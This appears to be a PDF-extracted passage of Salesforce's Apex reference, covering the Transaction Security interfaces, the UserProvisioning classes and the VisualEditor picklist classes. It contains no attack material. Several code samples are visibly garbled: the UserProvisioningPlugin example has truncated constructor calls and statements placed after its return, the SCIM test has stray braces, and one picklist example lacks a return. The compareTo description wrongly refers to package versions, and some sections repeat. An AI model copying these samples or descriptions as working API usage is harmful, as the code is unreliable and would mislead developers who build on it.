The `Event` class contains the information needed to determine if the event triggers a Transaction Security policy. Not all class attributes are used for every type of event.
Tip: For more functionality and support of Enhanced Transaction Security, use the `EventCondition` interface instead of the `PolicyCondition` interface.

IN THIS SECTION:
- Event Constructors
- Event Properties

### Event Constructors

The following is the constructor for `Event`.

IN THIS SECTION:
- `Event()`

**Event()**

Creates an instance of the `TxnSecurity.Event` class.

**Signature**

```java
public Event()
```

### Event Properties

The following are properties for `Event`.

IN THIS SECTION:
- `action`
- `data`
- `entityId`
- `entityName`
- `organizationId`
- `resourceType`

**action**

Specifies the action being taken on the resource for an Entity event. For example, a Login IP resource for an Entity event could have an action of create. The `action` attribute is not used by any other event type.

**data**

Contains data used by actions. For example, `data` for a login event includes the login history ID. Returns a map whose keys are the type of event data, like `SourceIp`.

**entityId**

The ID of any entity associated with the event. For example, the `entityId` of a DataExport event for an Account object contains the Account ID.

**entityName**

The name of the object the event acts on.

**organizationId**

The ID of the Salesforce org where the event occurred.

**resourceType**

The type of resource for the event. For example, an AccessResource event could have a Connected Application as a resource type. Not all event types have resources.
**timeStamp**
The time the event occurred.

**userId**
Identifies the user that caused the event.

**action**
Specifies the action being taken on the resource for an Entity event. For example, a Login IP resource for an Entity event could have an action of create. The action attribute is not used by any other event type.

Signature

```java
public String action {get; set;}
```

Property Value

Type: **String**

**data**
Contains data used by actions. For example, **data** for a login event includes the login history ID. Returns a map whose keys are the type of event data, like **SourceIp**.

Signature

```java
public Map<String, String> data {get; set;}
```

Property Value

Type: **Map<String, String>**

The following table lists all the available data types. Not all types appear with all event types. The data type values are always string representations. For example, the **isApi** value is a string in the map, but is actually a Boolean value. Convert the value from a string to its true type this way: **Boolean.valueOf(event.data.get('isApi'))**:

<table>
<thead>
<tr>
<th>Key Name</th>
<th>True Value Type</th>
<th>Events Supported</th>

</tr>
<tr>
<td>SourceIp</td>
<td>String (IPV4 Address)</td>
<td>AccessResource</td>
</tr>
<tr>
<td>UserName</td>
<td>String</td>
<td>Entity</td>
</tr>
</tbody>
</table>

**entityId**

The ID of any entity associated with the event. For example, the `entityId` of a DataExport event for an Account object contains the Account ID.

**Signature**

```java
public String entityId {get; set;}
```

**Property Value**

Type: `String`

**entityName**

The name of the object the event acts on.

**Signature**

```java
public String entityName {get; set;}
```

**Property Value**

Type: `String`

**organizationId**

The ID of the Salesforce org where the event occurred.
Signature

```java
public String organizationId {get; set;}
```

Property Value
Type: String

---

**resourceType**
The type of resource for the event. For example, an AccessResource event could have a Connected Application as a resource type. Not all event types have resources.

Signature

```java
public String resourceType {get; set;}
```

Property Value
Type: String

---

**timeStamp**
The time the event occurred.

Signature

```java
public Datetime timeStamp {get; set;}
```

Property Value
Type: Datetime

---

**userId**
Identifies the user that caused the event.

Signature

```java
public String userId {get; set;}
```

Property Value
Type: String

---

**EventCondition Interface**

Allows an implementing class to specify whether to take action when certain events occur based on a transaction security policy. This interface is only used for Apex policies created in Real-Time Event Monitoring.
Usage

The `evaluate` method is called upon the occurrence of a real-time event monitored by a transaction security policy. A typical implementation first selects the fields of interest from the event. Then the fields are tested to see if they meet the conditions being monitored. If the conditions are met, the method returns `true`.

For example, imagine a transaction security policy that triggers when a user queries more than 1,000 lead records. For each API event, the `evaluate` method checks whether the `RowsProcessed` value is greater than 1,000 and the `QueriedEntities` value contains "Lead". If so, `true` is returned.

We recommend having test classes for the policy condition interface to ensure it works correctly. Testing is required regardless of whether the policy is moved from a sandbox to production, with a change set, or some other way. For example, test your policies in your development environment before moving the policies to production.

Don’t include DML statements in your custom policies because they can cause errors. When you send a custom email via Apex during transaction policy evaluation, you get an error, even if the record is not explicitly related to another record. For more information, see Apex DML Operations in the Apex Developer Guide.

IN THIS SECTION:

EventCondition Methods

EventCondition Example Implementation

EventCondition Methods

The following are methods for `EventCondition`.

IN THIS SECTION:

`evaluate(event)`

Evaluates an event against a transaction security policy created in Real-Time Event Monitoring. If the event triggers the policy, the method returns `true`.

`evaluate(event)`

Evaluates an event against a transaction security policy created in Real-Time Event Monitoring. If the event triggers the policy, the method returns `true`.

Signature

```
public Boolean evaluate(SObject event)
```

Parameters

`var1`

Type: `SObject`

The event to check against the transaction security policy.

Return Value

Type: `Boolean`
Returns true when the policy is triggered. For example, suppose that the policy is to limit users to a single login session. If a user tries to log in a second time, the policy blocks the attempted login, and updates the Status, PolicyId, and PolicyOutcome fields of that LoginEvent. The policy also sends an email notification to the Salesforce admin. The evaluate method only checks the login event, and returns true if it’s the user’s second login attempt.

The system performs the action and notification, not the evaluate method.

EventCondition Example Implementation

This example shows an implementation of the TxnSecurity.EventCondition interface. The transaction security policy triggers when the user queries an Account object.

```java
public class BlockAccountQueriesEventCondition implements TxnSecurity.EventCondition {

    public boolean evaluate(SObject event) {
        switch on event {
            when ApiEvent apiEvent {
                return handleApiEvent(apiEvent);
            }
            when null {
                // Trigger action if event is null
                return true;
            }
            when else {
                // Trigger action for unhandled events
                return true;
            }
        }
    }

    private boolean handleApiEvent(ApiEvent apiEvent){
        if(apiEvent.QueriedEntities.contains('Account')){
            return true;
        }
        return false;
    }
}
```

For more examples, see Enhanced Apex Transaction Security Implementation Examples.

AsyncCondition Interface

Allows an implementing class to make asynchronous Apex calls. This interface is used only for transaction security Apex policies created in Real-Time Event Monitoring.

Namespace

TxnSecurity
Usage

If you make an Asynchronous Apex call in the class that implements your transaction security policy condition, the class must implement the `TxnSecurity.AsyncCondition` interface in addition to `TxnSecurity.EventCondition`. Use Asynchronous Apex instead of Apex callouts and DML statements, neither of which is allowed in transaction security Apex policies.

Apex offers multiple ways to run your Apex code asynchronously and all are supported in the `TxnSecurity.AsyncCondition` interface.

This interface has no methods.

IN THIS SECTION:

AsyncCondition Example Implementation

SEE ALSO:

*Apex Developer Guide: Asynchronous Apex*

AsyncCondition Example Implementation

Here’s an example implementation of the `TxnSecurity.AsyncCondition` interface. The transaction security policy triggers when a user logs in. In the example, `ExternalValidation__c` is a custom object that contains information from an external validation system. The result of the SOQL query on `ExternalValidation__c` determines whether to block the user from logging in. The policy then queues the `CalloutToExternalValidator` class for asynchronous execution. When it executes, the `CalloutToExternalValidator` class makes an external call to the validation system to update it with information about this log in event. Because `CalloutToExternalValidator` is triggered by Asynchronous Apex, you must implement the `TxnSecurity.AsyncCondition` interface in the `ExternallyValidatedLoginCondition` Apex class along with the usual `TxnSecurity.EventCondition` interface.

```apex
global class ExternallyValidatedLoginCondition implements TxnSecurity.EventCondition, TxnSecurity.AsyncCondition {
    public boolean evaluate(SObject event) {
        LoginEvent loginEvent = (LoginEvent) event;
        Boolean userBlocked = [select blocked from ExternalValidation__c where loginId = loginEvent.UserId][0].Blocked;
        System.enqueueJob(new CalloutToExternalValidator(loginEvent.SourceIp, loginEvent.LoginUrl));
        return userBlocked;
    }
}

public class CalloutToExternalValidator implements Queueable {
    private String sourceIp;
    private String loginUrl;

    public CalloutToExternalValidator(String sourceIp, String loginUrl) {
        this.sourceIp = sourceIp;
        this.loginUrl = loginUrl;
    }

    public void execute(QueueableContext context) {
        // callout to external validation service
    }
}
```
PolicyCondition Interface

Apex interface that allows an implementing class to specify actions to take when certain events occur based on a transaction security policy.

⚠️ Warning: Legacy Transaction Security is scheduled for retirement in all Salesforce orgs as of Summer ’20. For more information, see Legacy Transaction Security Retirement. To create transaction security policies using the new framework, refer to the Enhanced Transaction Security documentation. To migrate legacy policies to the new framework, refer to the migration documentation.

Namespace

TxnSecurity

Usage

⚠️ Tip: For more functionality and support of Enhanced Transaction Security, use the EventCondition interface instead of the PolicyCondition interface.

The evaluate method is called upon the occurrence of an event monitored by a transaction security policy. A typical implementation first selects the item of interest from the event. Then the item is tested to see if it meets the condition being monitored. If the condition is met, the method returns true.

For example, imagine a transaction security policy that checks for the same user logging in more than once. For each login event, the method would check if the user logging in already has a login session in progress, and if so, true is returned.

We recommend having test classes for the policy condition interface to ensure it works correctly. Testing is required regardless of whether the policy is moved from a sandbox to production, with a change set, or some other way. For example, test your policies in your development environment before moving the policies to production.

Don’t include DML statements in your custom policies because they can cause errors. When you send a custom email via Apex during transaction policy evaluation, you get an error, even if the record is not explicitly related to another record. For more information, see Apex DML Operations in the Apex Developer Guide.

IN THIS SECTION:

PolicyCondition Methods

Apex Policies for Legacy Transaction Security

PolicyCondition Methods

The following is the method for PolicyCondition.
evaluate(event)
Evaluates an event against a transaction security policy. If the event triggers the policy, true is returned.

Signature
public Boolean evaluate(TxnSecurity.Event event)

Parameters

\textit{event}

Type: TxnSecurity.Event

The event to check against the transaction security policy.

Return Value

Type: Boolean

When the policy is triggered, True is returned. For example, let's suppose the policy is to limit users to a single login session. If anyone tries to log in a second time, the policy's action requires that they end their current session. The policy also sends an email notification to the Salesforce admin. The \texttt{evaluate()} method only checks the login event, and returns True if it's the user's second login. The Transaction Security system performs the action and notification, and not the \texttt{evaluate()} method.

Apex Policies for Legacy Transaction Security

Every Transaction Security policy must implement the Apex \texttt{TxnSecurity.PolicyCondition} or \texttt{TxnSecurity.EventCondition} interface.

\textbf{Warning:} Legacy Transaction Security is scheduled for retirement in all Salesforce orgs as of Summer ’20. For more information, see Legacy Transaction Security Retirement. You can no longer create, edit, or enable transaction security policies using the legacy framework and will receive an error message if you try to do so. To create transaction security policies using the new framework, refer to the Enhanced Transaction Security documentation. To migrate legacy policies to the new framework, refer to the migration documentation.

If you didn't specify a condition value before you generated the Apex interface for a policy, you can add the condition later. To change the condition, you can edit the Apex code to include a condition before you activate your policy. If you don't include a condition, your policy isn't triggered.

Don't include DML statements in your custom policies because they can cause errors. When you send a custom email via Apex during transaction policy evaluation, you get an error, even if the record is not explicitly related to another record. For more information, see Apex DML Operations in the Apex Developer Guide.

When you delete a transaction security policy, your \texttt{TxnSecurity.PolicyCondition} or \texttt{TxnSecurity.EventCondition} implementation isn't deleted. You can reuse your Apex code in other policies.
If you use an API callout in the Apex class that implements TxnSecurity.PolicyCondition, you must select an action when you create the Transaction Security policy in Setup. If you select None as the action, the policy can’t execute. For more information, see Invoking Callouts Using Apex in the Apex Developer Guide.

UserProvisioning Namespace

The UserProvisioning namespace provides methods for monitoring outbound user provisioning requests.

The following is the class in the UserProvisioning namespace.

IN THIS SECTION:

ConnectorTestUtil Class
Enables developers to write Apex test classes for connectors used by the connected app provisioning solution. This class simulates provisioning for the associated app.

UserProvisioningLog Class
Provides methods for writing messages to monitor outbound user provisioning requests.

UserProvisioningPlugin Class
The UserProvisioningPlugin base class implements Process.Plugin for programmatic customization of the user provisioning process for connected apps.

ConnectorTestUtil Class

Enables developers to write Apex test classes for connectors used by the connected app provisioning solution. This class simulates provisioning for the associated app.

Namespace
UserProvisioning

Usage
Use this class for connector-based test accelerators. You can invoke it only from within an Apex test.

Example
This example creates an instance of a connected app, gets a value, and checks whether the value is correct. The test is simply a row inserted in the database table.

```apex
@isTest
private class SCIMCreateUserPluginTest {
    public static void callPlugin(Boolean validInputParams) {
        //Create an instance of a connected app
        ConnectedApplication capp = UserProvisioning.ConnectorTestUtil.createConnectedApp('TestApp');
        Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
        //Create a user
        User user = new User(username='testuser1@scimuserprov.test', Firstname='Test',
```
Lastname='User1', email='testuser1@testemail.com',
  FederationIdentifier='testuser1@testemail.com', profileId= p.Id,
  communityNickName='tuser1', alias='tuser', TimeZoneSidKey='GMT',
  LocaleSidKey='en_US', EmailEncodingKey='ISO-8859-1', LanguageLocaleKey='en_US');

//insert user into a row in the database table
insert user;

//Create a UPR
UserProvisioningRequest upr = new UserProvisioningRequest(appname = capp.name,
  connectedAppId=capp.id, operation='Create',
  state='New', approvalStatus='NotRequired',salesforceUserId=user.id);

  //Insert the UPR to test the flow end to end
insert upr;
}}

IN THIS SECTION:

  ConnectorTestUtil Method

SEE ALSO:

  Salesforce Help: User Provisioning for Connected Apps

ConnectorTestUtil Method

The ConnectorTestUtil class has 1 method.

IN THIS SECTION:

  createConnectedApp(connectedAppName)

  Creates an instance of a connected app to simulate provisioning.

createConnectedApp (connectedAppName)

  Creates an instance of a connected app to simulate provisioning.

Signature

  public static ConnectedApplication createConnectedApp(String connectedAppName)

Parameters

  connectedAppName
    Type: String
    Name of the connected app to test for provisioning.

Return Value

  Type: ConnectedApplication
  The instance of the connected app to test for provisioning.
UserProvisioningLog Class

Provides methods for writing messages to monitor outbound user provisioning requests.

Namespace

UserProvisioning

Example

This example writes the user account information sent to a third-party system for a provisioning request to the UserProvisioningLog object.

```java
String inputParamsStr = 'Input parameters: uprId=' + uprId + ',
endpointURL=' + endpointURL + ', adminUsername=' + adminUsername + ',
email=' + email + ', username=' + username + ', defaultPassword=' + defaultPassword + ',
defaultRoles = ' + defaultRoles;
UserProvisioning.UserProvisioningLog.log(uprId, inputParamsStr);
```

UserProvisioningLog Methods

The following are methods for UserProvisioningLog. All methods are static.

**log(userProvisioningRequestId, details)**

Writes a specific message, such as an error message, to monitor the progress of a user provisioning request.

**log(userProvisioningRequestId, status, details)**

Writes a specific status and message, such a status and detailed error message, to monitor the progress of a user provisioning request.

**log(userProvisioningRequestId, externalUserId, externalUserName, userId, details)**

Writes a specific message, such as an error message, to monitor the progress of a user provisioning request associated with a specific user.

**log(userProvisioningRequestId, details)**

Writes a specific message, such as an error message, to monitor the progress of a user provisioning request.

**Signature**

```java
public void log(String userProvisioningRequestId, String details)
```

**Parameters**

**userProvisioningRequestId**

Type: **String**

A unique identifier for the user provisioning request.
log(userProvisioningRequestId, status, details)

Writes a specific status and message, such as a status and detailed error message, to monitor the progress of a user provisioning request.

Signature

public void log(String userProvisioningRequestId, String status, String details)

Parameters

userProvisioningRequestId
Type: String
A unique identifier for the user provisioning request.

status
Type: String
A description of the current state. For example, while invoking a third-party API, the status could be invoke.

details
Type: String
The text for the message.

Return Value
Type: void

log(userProvisioningRequestId, externalUserId, externalUserName, userId, details)

Writes a specific message, such as an error message, to monitor the progress of a user provisioning request associated with a specific user.

Signature

public void log(String userProvisioningRequestId, String externalUserId, String externalUserName, String userId, String details)

Parameters

userProvisioningRequestId
Type: String
A unique identifier for the user provisioning request.
externalUserId
Type: String
The unique identifier for the user in the target system.

externalUserName
Type: String
The username for the user in the target system.

userId
Type: String
Salesforce ID of the user making the request.

details
Type: String
The text for the message.

Return Value
Type: void

UserProvisioningPlugin Class
The UserProvisioningPlugin base class implements Process.Plugin for programmatic customization of the user provisioning process for connected apps.

Namespace
UserProvisioning

Usage
Extending this class gives you a plug-in that can be used Flow Builder as a legacy Apex action, with the following input and output parameters.

<table>
<thead>
<tr>
<th>Input Parameter Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>userProvisioningRequestId</td>
<td>The unique ID of the request for the plug-in to process.</td>
</tr>
<tr>
<td>userId</td>
<td>The ID of the associated user for the request.</td>
</tr>
<tr>
<td>NamedCredDevName</td>
<td>The unique API name for the named credential to use for a request.</td>
</tr>
<tr>
<td></td>
<td>The named credential identifies the third-party system and the third-party authentication settings.</td>
</tr>
<tr>
<td></td>
<td>When the named credential is set in the User Provisioning Wizard, Salesforce stores the value in the UserProvisioningConfig.NamedCredentialId field.</td>
</tr>
</tbody>
</table>
### Input Parameter Name

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>reconFilter</td>
<td>When collecting and analyzing users on a third-party system, the plug-in uses this filter to limit the scope of the collection. When the filter is set in the User Provisioning Wizard, Salesforce stores the value in the UserProvisioningConfig.ReconFilter field.</td>
</tr>
<tr>
<td>reconOffset</td>
<td>When collecting and analyzing users on a third-party system, the plug-in uses this value as the starting point for the collection.</td>
</tr>
</tbody>
</table>

### Output Parameter Name

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Status</td>
<td>The vendor-specific status of the provisioning operation on the third-party system.</td>
</tr>
<tr>
<td>Details</td>
<td>The vendor-specific message related to the status of the provisioning operation on the third-party system.</td>
</tr>
<tr>
<td>ExternalUserId</td>
<td>The vendor-specific ID for the associated user on the third-party system.</td>
</tr>
<tr>
<td>ExternalUsername</td>
<td>The vendor-specific username for the associated user on the third-party system.</td>
</tr>
<tr>
<td>ExternalEmail</td>
<td>The email address assigned to the user on the third-party system.</td>
</tr>
<tr>
<td>ExternalFirstName</td>
<td>The first name assigned to the user on the third-party system.</td>
</tr>
<tr>
<td>ExternalLastName</td>
<td>The last name assigned to the user on the third-party system.</td>
</tr>
<tr>
<td>reconState</td>
<td>The state of the collecting and analyzing process on the third-party system. When the value is complete, the process is finished and a subsequent call to the plug-in is no longer needed, nor made.</td>
</tr>
<tr>
<td>nextReconOffset</td>
<td>When collecting and analyzing users on a third-party system, the process may encounter a transaction limit and have to stop before finishing. The value specified here initiates a call to the plug-in with a new quota limit.</td>
</tr>
</tbody>
</table>

If you want to add more custom parameters, use the `buildDescribeCall()` method.

**Example**

The following example uses the `buildDescribeCall()` method to add a new input parameter and a new output parameter. The example also demonstrates how to bypass the limit of the 10,000 records processed in DML statements in an Apex transaction.

```java
global class SampleConnector extends UserProvisioning.UserProvisioningPlugin {
    // Example of adding more input and output parameters to those defined in the base class
```
global override Process.PluginDescribeResult buildDescribeCall() {
    Process.PluginDescribeResult describeResult = new Process.PluginDescribeResult();
    describeResult.inputParameters = new 
        List<Process.PluginDescribeResult.InputParameter>{
                Process.PluginDescribeResult.ParameterType.STRING, false)
        };
    describeResult.outputParameters = new 
        List<Process.PluginDescribeResult.OutputParameter>{
                Process.PluginDescribeResult.ParameterType.STRING)
        };
    return describeResult;
}

// Example Plugin that demonstrates how to leverage the 
reconOffset/nextReconOffset/reconState 
// parameters to create more than 10,000 users. (i.e. go beyond the 10,000 DML limit 
per transaction)

global override Process.PluginResult invoke(Process.PluginRequest request) {
    Map<String,String> result = new Map<String,String>();
    String uprId = (String) request.inputParameters.get('userProvisioningRequestId');
    UserProvisioning.UserProvisioningLog.log(uprId, 'Inserting Log from test Apex 
connector');
    UserProvisioningRequest upr = [SELECT id, operation, connectedAppId, state 
FROM userprovisioningrequest WHERE id = :uprId];
    if (upr.operation.equals('Reconcile')) {
        String reconOffsetStr = (String) request.inputParameters.get('reconOffset');
        Integer reconOffset = 0;
        if (reconOffsetStr != null) {
            reconOffset = Integer.valueOf(reconOffsetStr);
        }
        if (reconOffset > 44999) {
            result.put('reconState', 'Completed');
        }
        Integer i = 0;
        List<UserProvAccountStaging> upasList = new List<UserProvAccountStaging>();
        for (i = 0; i < 5000; i++) {
            UserProvAccountStaging upas = new UserProvAccountStaging();
            upas.Name = i + reconOffset + ''; 
            upas.ExternalFirstName = upas.Name;
            upas.ExternalEmail = 'externaluser@externalsystem.com';
            upas.LinkState = 'Orphaned';
            upas.Status = 'Active';
            upas.connectedAppId = upr.connectedAppId;
            upasList.add(upas);
        }
    }
    return result;
}
insert upasList;
result.put('nextReconOffset', reconOffset + 5000 + '');
}
return new Process.PluginResult(result);
}

IN THIS SECTION:
UserProvisioningPlugin Methods

UserProvisioningPlugin Methods
The following are methods for UserProvisioningPlugin.

IN THIS SECTION:
buildDescribeCall()  
Use this method to add more input and output parameters to those defined in the base class.

describe()  
Returns a Process.PluginDescribeResult object that describes this method call.

getPluginClassName()  
Returns the name of the class implementing the plugin.

invoke(request)  
Primary method that the system invokes when the class that implements the interface is instantiated.

buildDescribeCall()
Use this method to add more input and output parameters to those defined in the base class.

Signature

public Process.PluginDescribeResult buildDescribeCall()

Return Value

Type: Process.PluginDescribeResult

describe()
Returns a Process.PluginDescribeResult object that describes this method call.

Signature

public Process.PluginDescribeResult describe()
Return Value
Type: Process.PluginDescribeResult

getPluginClassName()
Returns the name of the class implementing the plugin.

Signature
public String getPluginClassName()

Return Value
Type: String

invoke(request)
Primary method that the system invokes when the class that implements the interface is instantiated.

Signature

Parameters
request
Type: Process.PluginRequest

Return Value
Type: Process.PluginDescribeResult

VisualEditor Namespace

The VisualEditor namespace provides classes and methods for interacting with the Lightning App Builder. The classes and methods in this namespace operate on Lightning components, which include Lightning web components and Aura components.

As of Spring '19 (API version 45.0), you can build Lightning components using two programming models: the Lightning Web Components model, and the original Aura Components model. Lightning web components are custom HTML elements built using HTML and modern JavaScript. Lightning web components and Aura components can coexist and interoperate on a page.

Configure Lightning web components and Aura components to work in Lightning App Builder and Experience Builder. Admins and end users don’t know which programming model was used to develop the components. To them, they’re simply Lightning components.

The following are the classes in the VisualEditor namespace.

IN THIS SECTION:

DataRow Class
Contains information about one item in a picklist used in a Lightning component on a Lightning page.
DesignTimePageContext Class
An abstract class that provides context information about a Lightning page. It can be used to help define the values of a picklist in a Lightning component on a Lightning page based on the page’s type and the object with which it’s associated.

DynamicPickList Class
An abstract class, used to display the values of a picklist in a Lightning component on a Lightning page.

DynamicPickListRows Class
Contains a list of picklist items in a Lightning component on a Lightning page.

DataRow Class
Contains information about one item in a picklist used in a Lightning component on a Lightning page.

Namespace
VisualEditor

IN THIS SECTION:
DataRow Constructors
DataRow Methods

DataRow Constructors
The following are constructors for DataRow.

IN THIS SECTION:
DataRow(label, value, selected)
Creates an instance of the VisualEditor.DataRow class using the specified label, value, and selected option.

DataRow(label, value)
Creates an instance of the VisualEditor.DataRow class using the specified label and value.

DataRow(label, value, selected)
Creates an instance of the VisualEditor.DataRow class using the specified label, value, and selected option.

Signature
public DataRow(String label, Object value, Boolean selected)

Parameters
label
Type: String
User-facing label for the picklist item.

value
Type: Object
The value of the picklist item.

**selected**
Type: **Boolean**
Specifies whether the picklist item is selected (true) or not (false).

**DataRow(label, value)**
Creates an instance of the `VisualEditor.DataRow` class using the specified label and value.

**Signature**
```
public DataRow(String label, Object value)
```

**Parameters**
- **label**
  Type: **String**
  User-facing label for the picklist item.
- **value**
  Type: **Object**
  The value of the picklist item.

**DataRow Methods**
The following are methods for `DataRow`.

**IN THIS SECTION:**
- **clone()**
  Makes a duplicate copy of the `VisualEditor.DataRow` object.
- **compareTo(o)**
  Compares the current `VisualEditor.DataRow` object to the specified one. Returns an integer value that is the result of the comparison.
- **getLabel()**
  Returns the user-facing label of the picklist item.
- **getValue()**
  Returns the value of the picklist item.
- **isSelected()**
  Returns the state of the picklist item, indicating whether it’s selected or not.

**clone()**
Makes a duplicate copy of the `VisualEditor.DataRow` object.

**Signature**
```
public Object clone()
```
compareTo(o)
Compares the current VisualEditor.DataRow object to the specified one. Returns an integer value that is the result of the comparison.

Signature
public Integer compareTo(VisualEditor.DataRow o)

Parameters
o
Type: VisualEditor.DataRow
A single item in a picklist.

Return Value
Type: Integer
Returns one of the following values:
- Zero if the current package version is equal to the specified package version
- An integer value greater than zero if the current package version is greater than the specified package version
- An integer value less than zero if the current package version is less than the specified package version

getLabel()
Returns the user-facing label of the picklist item.

Signature
public String getLabel()

Return Value
Type: String

getValue()
Returns the value of the picklist item.

Signature
public Object getValue()
isSelected()

Returns the state of the picklist item, indicating whether it’s selected or not.

Signature

public Boolean isSelected()

Return Value

Type: Boolean

DesignTimePageContext Class

An abstract class that provides context information about a Lightning page. It can be used to help define the values of a picklist in a Lightning component on a Lightning page based on the page’s type and the object with which it’s associated.

Namespace

VisualEditor

Usage

To use this class, create a parameterized constructor in the custom Apex class that extends VisualEditor.DynamicPickList.

Example

Here’s an example of a custom Apex class extending the VisualEditor.DynamicPickList class. It includes VisualEditor.DesignTimePageContext to define a picklist value that is available only if the page type is HomePage.

global class MyCustomPickList extends VisualEditor.DynamicPickList{
    VisualEditor.DesignTimePageContext context;

global MyCustomPickList(VisualEditor.DesignTimePageContext context) {
    this.context = context;
}

global override VisualEditor.DataRow getDefaultValue(){
    VisualEditor.DataRow defaultValue = new VisualEditor.DataRow('red', 'RED');
    return defaultValue;
}

global override VisualEditor.DynamicPickListRows getValues() {
    VisualEditor.DataRow value1 = new VisualEditor.DataRow('red', 'RED');
    VisualEditor.DataRow value2 = new VisualEditor.DataRow('yellow', 'YELLOW');
    VisualEditor.DynamicPickListRows myValues = new VisualEditor.DynamicPickListRows();

    myValues.addRow(value1);
    myValues.addRow(value2);

    if (context.pageType == 'HomePage') {
        VisualEditor.DataRow value3 = new VisualEditor.DataRow('purple', 'PURPLE');
        myValues.addRow(value3);
    }
}
DesignTimePageContext Properties

The following are properties for DesignTimePageContext.

IN THIS SECTION:
entityName
The API name of the sObject that a Lightning page is associated with, such as Account, Contact or Custom_object__c. Not all Lightning pages are associated with objects.

pageType
The type of Lightning page, such as HomePage, AppPage, or RecordPage.

entityName
The API name of the sObject that a Lightning page is associated with, such as Account, Contact or Custom_object__c. Not all Lightning pages are associated with objects.

Signature
public String entityName {get; set;}

Property Value
Type: String

pageType
The type of Lightning page, such as HomePage, AppPage, or RecordPage.

Signature
public String pageType {get; set;}

Property Value
Type: String

DesignTimePageContext Methods

The following are methods for DesignTimePageContext.
In this section:

clone()

clone()

Signature

custom Object clone()

Return Value

Type: Object

DynamicPickList Class

An abstract class, used to display the values of a picklist in a Lightning component on a Lightning page.

Namespace

VisualEditor

Usage

To use this class as the datasource of a picklist in a Lightning component, it must be extended by a custom Apex class and then that class must be called in the component’s design file.

Example

Here’s an example of a custom Apex class extending the VisualEditor.DynamicPickList class.

```
global class MyCustomPickList extends VisualEditor.DynamicPickList{

    global override VisualEditor.DataRow getDefaultValue(){
        VisualEditor.DataRow defaultValue = new VisualEditor.DataRow('red', 'RED');
        return defaultValue;
    }

    global override VisualEditor.DynamicPickListRows getValues() {
        VisualEditor.DataRow value1 = new VisualEditor.DataRow('red', 'RED');
        VisualEditor.DataRow value2 = new VisualEditor.DataRow('yellow', 'YELLOW');
        VisualEditor.DynamicPickListRows myValues = new VisualEditor.DynamicPickListRows();
        myValues.addRow(value1);
        myValues.addRow(value2);
        return myValues;
    }
}
```
Here’s an example of how the custom Apex class gets called in a design file so that the picklist appears in the Lightning component.

```xml
<design:component>
  <design:attribute name="property1" datasource="apex://MyCustomPickList"/>
</design:component>
```

IN THIS SECTION:

DynamicPickList Methods

DynamicPickList Methods

The following are methods for `DynamicPickList`.

IN THIS SECTION:

- `clone()`
- `getDefaultValue()`
  - Returns the picklist item that is set as the default value for the picklist.
- `getLabel(attributeValue)`
  - Returns the user-facing label for a specified picklist value.
- `getValues()`
  - Returns the list of picklist item values.
- `isValid(attributeValue)`
  - Returns the valid state of the picklist item’s value. A picklist value is considered valid if it’s a part of any `VisualEditor.DataRow` in the `VisualEditor.DynamicPickListRows` returned by `getValues()`.

### clone()

**Signature**

```java
public Object clone()
```

**Return Value**

Type: Object

### getDefaultValue()

Returns the picklist item that is set as the default value for the picklist.

**Signature**

```java
public VisualEditor.DataRow getDefaultValue()
```
Return Value
Type: VisualEditor.DataRow

**getLabel(attributeValue)**
Returns the user-facing label for a specified picklist value.

Signature
```
public String getLabel(Object attributeValue)
```

Parameters
- **attributeValue**
  Type: Object
  The value of the picklist item.

Return Value
Type: String

**getValues()**
Returns the list of picklist item values.

Signature
```
public VisualEditor.DynamicPickListRows getValues()
```

Return Value
Type: VisualEditor.DynamicPickListRows

**isValid(attributeValue)**
Returns the valid state of the picklist item's value. A picklist value is considered valid if it's a part of any VisualEditor.DataRow in the VisualEditor.DynamicPickListRows returned by getValues().

Signature
```
public Boolean isValid(Object attributeValue)
```

Parameters
- **attributeValue**
  Type: Object
  The value of the picklist item.
Return Value
Type: Boolean

DynamicPickListRows Class
Contains a list of picklist items in a Lightning component on a Lightning page.

Namespace
VisualEditor

IN THIS SECTION:
    DynamicPickListRows Constructors
    DynamicPickListRows Methods

DynamicPickListRows Constructors
The following are constructors for DynamicPickListRows.

IN THIS SECTION:
    DynamicPickListRows(rows, containsAllRows)
    Creates an instance of the VisualEditor.DynamicPickListRows class using the specified parameters.
    DynamicPickListRows(rows)
    Creates an instance of the VisualEditor.DynamicPickListRows class using the specified parameter.
    DynamicPickListRows()
    Creates an instance of the VisualEditor.DynamicPickListRows class. You can then add rows by using the class's addRow or addAllRows methods.

DynamicPickListRows(rows, containsAllRows)
Creates an instance of the VisualEditor.DynamicPickListRows class using the specified parameters.

Signature
public DynamicPickListRows(List<VisualEditor.DataRow> rows, Boolean containsAllRows)

Parameters
rows
    Type: List VisualEditor.DataRow
    List of picklist items.
containsAllRows
    Type: Boolean
    Indicates if all values of the picklist are included in a type-ahead search query (true) or only those values initially displayed when the list is clicked on (false).
A picklist in a Lightning component can display only the first 200 values of a list. If `containsAllRows` is set to false, when a user does a type-ahead search to find values in the picklist, the search will only look at those first 200 values that were displayed, not the complete set of picklist values.

**DynamicPickListRows(rows)**

Creates an instance of the `VisualEditor.DynamicPickListRows` class using the specified parameter.

**Signature**

```java
public DynamicPickListRows(List<VisualEditor.DataRow> rows)
```

**Parameters**

- `rows`
  - Type: `List<VisualEditor.DataRow>`
  - List of picklist rows.

**DynamicPickListRows()**

Creates an instance of the `VisualEditor.DynamicPickListRows` class. You can then add rows by using the class’s `addRow` or `addAllRows` methods.

**Signature**

```java
public DynamicPickListRows()
```

### DynamicPickListRows Methods

The following are methods for `DynamicPickListRows`.

**IN THIS SECTION:**

- `addAllRows(rows)`
  - Adds a list of picklist items to a dynamic picklist rendered in a Lightning component on a Lightning page.
- `addRow(row)`
  - Adds a single picklist item to a dynamic picklist rendered in a Lightning component on a Lightning page.
- `clone()`
- `containsAllRows()`
  - Returns a Boolean value indicating whether all values of the picklist are included when a user does a type-ahead search query (true) or only those values initially displayed when the list is clicked on (false).
- `get(i)`
  - Returns a picklist element stored at the specified index.
- `getDataRows()`
  - Returns a list of picklist items.
setContainsAllRows(containsAllRows)
Sets the value indicating whether all values of the picklist are included when a user does a type-ahead search query (true) or only those values initially displayed when the list is clicked on (false).

size()
Returns the size of the list of VisualEditor.DynamicPickListRows.

sort()
Sorts the list of VisualEditor.DynamicPickListRows.

**addAllRows(rows)**
